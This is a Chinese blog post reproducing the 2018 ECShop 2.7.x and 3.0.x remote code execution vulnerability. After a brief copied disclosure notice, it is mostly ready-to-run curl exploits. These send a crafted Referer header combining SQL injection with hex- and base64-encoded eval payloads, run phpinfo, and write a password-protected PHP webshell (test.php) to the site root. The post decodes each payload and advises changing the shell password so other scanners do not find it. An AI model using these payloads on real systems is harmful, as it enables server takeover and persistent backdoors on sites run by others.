ECShop全版本远程代码执行漏洞复现


披露

2018年9月1日,阿里云态势感知发布预警,近日利用ECShop全系列版本的远程代码执行漏洞进行批量化攻击量呈上升趋势,该漏洞可直接导致网站服务器沦陷,黑客可通过WEB攻击直接获得服务器权限,利用简单且危害较大。因此,阿里云安全专家提醒ECShop系统用户及时进行修复。

早在1个月前阿里云态势感知就捕获到利用ECShop远程代码执行漏洞进行攻击的真实案例,由于当时该漏洞被利用进行攻击的量不大,阿里云安全团队在做好防御此类漏洞大规模利用攻击的同时,也持续监控该漏洞的利用趋势。

本文对此漏洞的原理,漏洞攻击利用实例以及影响做了全面分析。在官方补丁没放出之前,建议受影响用户可参考文中的修复建议,及时进行修复。使用阿里云WAF的客户无需升级补丁即可防御该漏洞。

ECShop全系列版本远程代码执行高危漏洞分析

分析和预警的文章网上多得是,只copy一段注明exp公布日期和单位。


2.7.x Exp

终端执行:

curl http://xxxxx.com/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

回显phpinfo

Getshell

curl http://xxxxxxx.com/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdGVzdF0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

网站根目录下会生成一个test.php 密码为test的webshell

exp详解

curl http://xxxxx.com/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdGVzdF0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

这是base64加密的一个写入操作和菜刀上传时的数据包是一样的

d参数解密后

file_put_contents('test.php','<?php eval($_REQUEST[test]);?>');

写入一个test.php文件  内容为密码是test的一句话木马

其实这种类似菜刀的操作很多防护软件都会拦截的…

vulnspy 这个参数是一句话木马的密码 其一句话内容是这串:

0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d

是HEX编码过的  解开后是这样的:

{${$vulnspy'];eval/**/(base64_decode('ZXZhbCgkX1BPU1RbdnVsbnNweV0pOw=='));//}}

base64解开后:

eval($_POST[vulnspy]);

一目了然了是不是?   需要修改密码的可以自己修改  免得被别人的扫描器给收录了

详情可移步至此:

ecshop_<=_2.7.x_全系列版本远程代码执行高危漏洞利用


3.0.x Exp

其实和上面差不多的

执行phpinfo()

curl http://xxxxxx.com/user.php -d "action=login&vulnspy=phpinfo();exit;" -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

写WebShell

curl http://xxxxxx.com/user.php -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdGVzdF0pOycpOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

参数详解参考2.7.x

详情可移步至此:

ecshop_<=_2.x/3.6.x/3.0.x_版本远程代码执行高危漏洞利用

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注